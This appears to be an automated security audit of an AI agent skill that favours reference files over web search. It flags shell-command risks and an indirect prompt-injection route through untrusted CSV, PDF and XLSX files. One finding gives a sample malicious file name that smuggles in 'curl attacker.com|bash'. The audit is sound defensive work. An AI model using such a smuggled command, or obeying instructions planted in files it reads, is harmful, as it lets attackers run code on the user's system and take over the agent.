prioritize-reference-files
Warn
Audited by Gen Agent Trust Hub on Jul 8, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The skill's fallback extraction method for
.docxfiles (Step 2) usesrun_shellto execute commands such asunzip -p path/to/file.docx. If an attacker provides a reference file with a malicious name containing shell metacharacters (e.g.,file;curl attacker.com|bash;.docx), the agent might execute arbitrary commands when attempting the extraction. - [COMMAND_EXECUTION]: The workflow suggests using
shell_agentfor complex extraction tasks. This delegation to a sub-agent with shell capabilities increases the potential for command-based exploitation when processing malformed or malicious file archives. - [PROMPT_INJECTION]: The skill mandates a "Reference files > Web search" priority, instructing the agent to treat data from external files as the primary source of truth. This behavior facilitates indirect prompt injection, where an attacker-controlled file (CSV, PDF, XLSX) can contain instructions that override the agent's behavior once the file is ingested.
- Ingestion points: Task context reference files (xlsx, csv, json, pdf, docx, txt) identified in SKILL.md Step 1.
- Boundary markers: None. The instructions prompt the agent to read and extract data directly without using delimiters or safety warnings for the untrusted content.
- Capability inventory: The skill utilizes
read_filefor ingestion and bothrun_shellandshell_agentfor processing, providing a high-privilege execution environment for data read from files. - Sanitization: No sanitization or validation steps are defined for the data read from external reference files.
Audit Metadata